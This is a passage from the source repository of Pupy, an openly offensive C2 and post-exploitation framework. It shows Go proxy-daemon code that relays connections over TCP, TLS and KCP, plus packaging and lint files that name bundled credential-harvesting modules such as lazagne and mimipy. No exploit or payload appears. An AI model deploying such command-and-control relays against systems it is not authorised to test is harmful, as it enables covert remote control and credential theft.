		ok       bool
	)

	d.ListenersLock.Lock()
	if listener, ok = d.Listeners[port]; ok {
		listener.refcnt -= 1
		log.Info(fmt.Sprintf("Remove listener [%d]; refcnt=%d", port, listener.refcnt))
		if listener.refcnt == 0 {
			log.Info(fmt.Sprintf("Close listener [%d]", port))
			listener.Listener.Close()
			delete(d.Listeners, port)
		}
	}

	d.ListenersLock.Unlock()
}

func (d *Daemon) listenAcceptTCP(in net.Conn, port int) (net.Conn, error) {
	conn, err := d.Accept(in, port, func(in net.Conn) (net.Listener, error) {
		log.Println("New listener requested, port:", port)
		return net.Listen("tcp", fmt.Sprintf("%s:%d", ExternalBindHost, port))
	})

	log.Debug("TCP: Accepted connection")

	if conn != nil {
		conn.(*net.TCPConn).SetKeepAlive(true)
		conn.(*net.TCPConn).SetKeepAlivePeriod(1 * time.Minute)
		conn.(*net.TCPConn).SetNoDelay(true)
	}

	log.Debug("TCP Acceptor completed: ", conn, err)
	return conn, err
}

func (d *Daemon) listenAcceptTLS(in net.Conn, port int) (net.Conn, error) {
	conn, err := d.Accept(in, port, func(in net.Conn) (net.Listener, error) {
		log.Debug("Load certificates")
		err := SendMessage(in, &Extra{
			Extra: true,
			Data:  "certs",
		})
		if err != nil {
			return nil, err
		}

		config := &TLSAcceptorConfig{}
		err = RecvMessage(in, config)
		if err != nil {
			log.Error("Couldn't receive TLS certificate")
			return nil, err
		}

		pool := x509.NewCertPool()
		if !pool.AppendCertsFromPEM([]byte(config.CACert)) {
			log.Error("Invalid CA cert")
			return nil, errors.New("Invalid CA cert")
		}

		cert, err := tls.X509KeyPair([]byte(config.Cert), []byte(config.Key))
		if err != nil {
			log.Error("Invalid SSL Key/Cert")
			return nil, errors.New("Invalid SSL Key/Cert: " + err.Error())
		}

		log.Debug("SSL: New listener requested, port:", port)
		return tls.Listen("tcp", fmt.Sprintf("%s:%d", ExternalBindHost, port), &tls.Config{
			Certificates: []tls.Certificate{cert},
			ClientCAs:    pool,
			ClientAuth:   tls.RequireAndVerifyClientCert,
		})
	})

	log.Debug("SSL: Accepted connection: ", conn, err)
	return conn, err
}

func NewKCPConn(in net.Conn) net.Conn {
	localId := [4]byte{}
	for i := 0; i < 4; i++ {
		localId[i] = byte(rand.Intn(255))
	}

	kcpconn := &KCPConn{
		localId: localId,
		Conn:    in,
	}
	return kcpconn
}

func (c *KCPConn) sendEOF() {
	end := [5]byte{}
	end[0] = KCP_END
	copy(end[1:], c.localId[:])
	c.Conn.Write(end[:])
}

func compareId(id1, id2 []byte) bool {
	if len(id1) != 4 || len(id2) != 4 {
		return false
	}

	for i := 0; i < 4; i++ {
		if id1[i] != id2[i] {
			return false
		}
	}

	return true
}

func (c *KCPConn) Read(b []byte) (n int, err error) {
	buf := make([]byte, len(b)+5)

	n, err = c.Conn.Read(buf)

	if err != nil || n < 5 {
		log.Debug(
			"KCP: Invalid KCP header (too small or error) ",
			n, err,
		)
		return 0, io.EOF
	}

	switch buf[0] {
	case KCP_NEW:
		if !c.initialized {
			log.Debug("KCP: NEW received")
			copy(c.remoteId[:], buf[1:5])
			c.initialized = true
		} else {
			log.Debug("KCP: Unexpected NEW")
			c.sendEOF()
			return 0, io.EOF
		}
	case KCP_DAT:
		if !c.initialized || !compareId(c.remoteId[:], buf[1:5]) {
			log.Debug("KCP: Unexpected DAT")
			c.sendEOF()
			return 0, io.EOF
		}
	case KCP_END:
		log.Debug("KCP: EOF Received")
		return 0, io.EOF

	default:
		log.Debug("KCP: Unknown flag")
		return 0, io.EOF
	}

	return copy(b[:], buf[5:n]), nil
}

func (c *KCPConn) Write(b []byte) (n int, err error) {
	buf := make([]byte, len(b)+5)
	if c.new_sent {
		buf[0] = KCP_DAT
	} else {
		buf[0] = KCP_NEW
		c.new_sent = true
	}

	copy(buf[1:5], c.localId[:])
	copy(buf[5:], b[:])

	n, err = c.Conn.Write(buf)
	if err != nil {
		return 0, err
	}

	return n - 5, nil
}

func (c *KCPConn) Close() error {
	log.Debug("KCP: Close() called, send EOF")
	c.sendEOF()
	return c.Conn.Close()
}

func (c *KCPConn) LocalAddr() net.Addr {
	return c.Conn.LocalAddr()
}

func (c *KCPConn) RemoteAddr() net.Addr {
	return c.Conn.RemoteAddr()
}

func (c *KCPConn) SetDeadline(t time.Time) error {
	return c.Conn.SetDeadline(t)
}

func (c *KCPConn) SetReadDeadline(t time.Time) error {
	return c.Conn.SetReadDeadline(t)
}

func (c *KCPConn) SetWriteDeadline(t time.Time) error {
	return c.Conn.SetWriteDeadline(t)
}

func (d *Daemon) listenAcceptKCP(in net.Conn, port int) (net.Conn, error) {
	conn, err := d.Accept(in, port, func(in net.Conn) (net.Listener, error) {
		log.Debug("New KCP listener requested, port:", port)

		ll, err := kcp.Listen(fmt.Sprintf("%s:%d", ExternalBindHost, port))
		if err != nil {
			log.Error("KCP Listen Error: ", err)
			return nil, err
		}

		l := ll.(*kcp.Listener)

		l.SetReadBuffer(1024 * 1024)
		l.SetWriteBuffer(1024 * 1024)
		return l, nil
	})

	log.Debug("KCP: Accepted connection", conn, err)
	return NewKCPConn(conn), err
}

func l7KeepAliveSender(ctx context.Context, conn net.Conn, cherr chan error) {
	ticker := time.NewTicker(5 * time.Second)
	for {
		select {
		case <-ctx.Done():
			ticker.Stop()
			return
		case t := <-ticker.C:
			err := SendKeepAlive(conn, t)
			if err != nil {
				select {
				case cherr <- err:
				default:
				}
				return
			}
		}
	}
}

func l7KeepAliveReceiver(ctx context.Context, conn net.Conn, cherr chan error) {
	for {
		select {
		case <-ctx.Done():
			return
		default:
			keepalive := &KeepAlive{}
			err := RecvMessage(conn, keepalive)
			if err != nil {
				select {
				case cherr <- err:
				default:
				}
				return
			}

			rtt := time.Now().Unix() - keepalive.Tick

			log.Debug(
				"KeepAlive: ", keepalive.Tick,
				" RTT: ", rtt,
				" Last: ", keepalive.Last)

			if keepalive.Last {
				select {
				case cherr <- nil:
				default:
				}
			}
		}
	}
}

func withAccept(
	in net.Conn, port int,
	acceptor func(net.Conn, int) (net.Conn, error),
	chconn chan net.Conn, cherr chan error) {
	conn, err := acceptor(in, port)

	if err != nil {
		select {
		case cherr <- err:
		default:
		}
	} else {
		select {
		case chconn <- conn:
		default:
		}
	}
}

func acceptOrWait(
	in net.Conn, port int,
	acceptor func(net.Conn, int) (net.Conn, error)) (chan error, net.Conn, error) {

	chconn := make(chan net.Conn)
	cherr := make(chan error)
	l7rcherr := make(chan error)

	pingContext, pingCancel := context.WithCancel(context.Background())
	defer pingCancel()

	pingRecvContext, pingRecvCancel := context.WithCancel(
		context.Background())

	defer pingRecvCancel()

	go withAccept(in, port, acceptor, chconn, cherr)
	go l7KeepAliveSender(pingContext, in, cherr)
	go l7KeepAliveReceiver(pingRecvContext, in, l7rcherr)

	select {
	case conn := <-chconn:
		return l7rcherr, conn, nil
	case err := <-l7rcherr:
		log.Error("L7 KeepAlive Receiver failed for ", in.RemoteAddr())
		return nil, nil, err
	case err := <-cherr:
		log.Error("Accept failed for ", in.RemoteAddr())
		return nil, nil, err
	}
}

func (d *Daemon) serveStream(
	mtu int, pproxy net.Conn, bind string,
	acceptor func(net.Conn, int) (net.Conn, error),
) {

	defer pproxy.Close()

	port, err := strconv.Atoi(bind)
	if err != nil {
		log.Error("Invalid port: ", err.Error())
		SendError(pproxy, err)
		return
	}

	for _, mapping := range PortMaps {
		if port == mapping.From {
			port = mapping.To
			break
		}
	}

	defer d.Remove(port)

	done, remote, err := acceptOrWait(pproxy, port, acceptor)
	if err != nil {
		SendError(pproxy, err)
		return
	}

	defer remote.Close()

	forwarder := NewNetForwarder(pproxy, remote)
	forwarder.Serve(context.Background(), done, mtu)
}


================================================
FILE: services/proxy/types.go
================================================
package main

import (
	"net"
	"sync"

	"time"

	dns "github.com/miekg/dns"
	rc "github.com/paulbellamy/ratecounter"
)

type (
	Conn struct {
		in    chan []byte
		out   chan []byte
		close chan bool
	}

	KCPConn struct {
		net.Conn
		localId     [4]byte
		remoteId    [4]byte
		initialized bool
		new_sent    bool
	}

	Listener struct {
		Listener net.Listener
		refcnt   int
	}

	ListenerProtocol int
	BindRequestType  int

	PortMap struct {
		From int
		To   int
	}

	BindRequestHeader struct {
		Protocol ListenerProtocol `msgpack:"prot"`
		BindInfo string           `msgpack:"bind"`
		Timeout  int              `msgpack:"timeout"`
		MTU      int              `msgpack:"mtu"`
	}

	DNSRequest struct {
		Name string
		Type string
		IPs  chan []string
	}

	DNSCacheRecord struct {
		ResponseRecords []dns.RR
		LastActivity    time.Time
	}

	ConnectionAcceptHeader struct {
		Extra      bool   `msgpack:"extra"`
		LocalHost  string `msgpack:"lhost"`
		LocalPort  int    `msgpack:"lport"`
		RemoteHost string `msgpack:"rhost"`
		RemotePort int    `msgpack:"rport"`
		Error      string `msgpack:"error"`
	}

	DNSListener struct {
		Conn net.Conn

		Domain string

		DNSCache    map[string]*DNSCacheRecord
		UDPServer   *dns.Server
		TCPServer   *dns.Server
		DNSRequests chan *DNSRequest

		processedRequests sync.WaitGroup

		dnsRequestsCounter          *rc.RateCounter
		dnsRemoteRequestsCounter    *rc.RateCounter
		dnsProcessedRequestsCounter *rc.RateCounter

		cacheLock sync.Mutex

		activeLock sync.Mutex
		active     bool

		pendingRequests int32
	}

	Daemon struct {
		Addr string

		DNSLock     sync.Mutex
		DNSCheck    sync.Mutex
		DNSListener *DNSListener

		Listeners     map[int]*Listener
		ListenersLock sync.Mutex

		UsersCount int32
	}

	IPInfo struct {
		IP string `msgpack:"ip"`
	}

	Extra struct {
		Extra bool   `msgpack:"extra"`
		Data  string `msgpack:"data"`
	}

	TLSAcceptorConfig struct {
		CACert string `msgpack:"ca"`
		Cert   string `msgpack:"cert"`
		Key    string `msgpack:"key"`
	}

	KeepAlive struct {
		Tick int64 `msgpack:"keepalive"`
		Last bool  `msgpack:"last"`
	}

	NetReader struct {
		mtu  int
		in   net.Conn
		out  net.Conn
		err  error
		wait chan error
	}

	NetForwarder struct {
		pproxy net.Conn
		remote net.Conn
	}
)

const (
	INFO ListenerProtocol = 0
	DNS  ListenerProtocol = iota
	TCP  ListenerProtocol = iota
	KCP  ListenerProtocol = iota
	TLS  ListenerProtocol = iota

	KCP_NEW = 0x0
	KCP_DAT = 0x1
	KCP_END = 0x2
)


================================================
FILE: setup.py
================================================
#!/usr/bin/env python3
# -*- coding: UTF8 -*-

from setuptools import setup, find_packages
import os
import sys

requirements = [x.strip() for x in open("requirements.txt", "r").readlines()]
#requirements = [f"{line.split('#egg=')[-1]} @ {line}" if "#egg=" in line else line for line in requirements]

setup(
    name='pupy',
    version='3.0.0',
    packages=find_packages(where='.', include=['pupy*']), 
    package_data={'pupy': ['conf/**', 'external/**', 'packages/**', 'library_patches_py3/**', 'library_patches_py2/**']},
    license_files = ('LICENSE'),
    author='n1nj4sec',
    author_email='contact@n1nj4.eu',
    description='Pupy C2 is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool in python',
    #long_description='Pupy C2 Framework',
    #long_description_content_type='text/x-rst',
    url='https://github.com/n1nj4sec/pupy',
    keywords=["python", "pentest", "cybersecurity", "redteam", "C2", "command and control", "post-exploitation"],
    entry_points={
        'console_scripts': [
            'pupysh = pupy.cli.pupysh:main'
        ]
    },
    install_requires=requirements
)


================================================
FILE: tox.ini
================================================
[flake8]
# This style things should be fixed with time.
# They should be ungnored one-by-one and fixed.

# E722 -- Should be fixed somehow

# W606 - Rpyc (at least old) incompatible with Python3.7

# !!! DO NOT ADD ANY NEW EXCEPTION HERE !!!

ignore = E722,
       E501,E402,
       E241,E221,E211,E222,E225,E226,E227,E272,E231,
       E251,E265,E302,E225,E305,E303,
       E228,E127,E128,E129,E502,E271,E261,E261,E262,
       E122,E123,E124,E125,E126,E131,E121,E226,E266,E242,
       E731,W606
       

per-file-ignores =
	# X509 standard names are short
	pupylib/PupyCredentials.py: E741

	# FIXME: add proper __all__ statement
	packages/windows/all/pupwinutils/hookfuncs.py: F401
	network/lib/__init__.py: F401
	network/lib/transports/cryptoutils/pyaes/__init__.py: F401

	# Large stolen file
	packages/windows/all/wmi.py: E111

	# Legacy formatting
	network/lib/transports/cryptoutils/pyaes/aes.py: E201,E202,E222,W504

	# False positive
	packages/all/fsutils.py: F811

exclude =
	conf
	crypto
	data
	external
	library_patches
	output
	payload_templates
	proxy
	webstatic
	packages/patches
	# deprecated
	network/lib/streams/PupyAsyncStream.py
	# symlinks (travis workaround)
	packages/linux/all/lazagne
	packages/linux/all/mimipy.py
	packages/linux/all/beroot
	packages/windows/all/beroot
	packages/windows/all/lazagne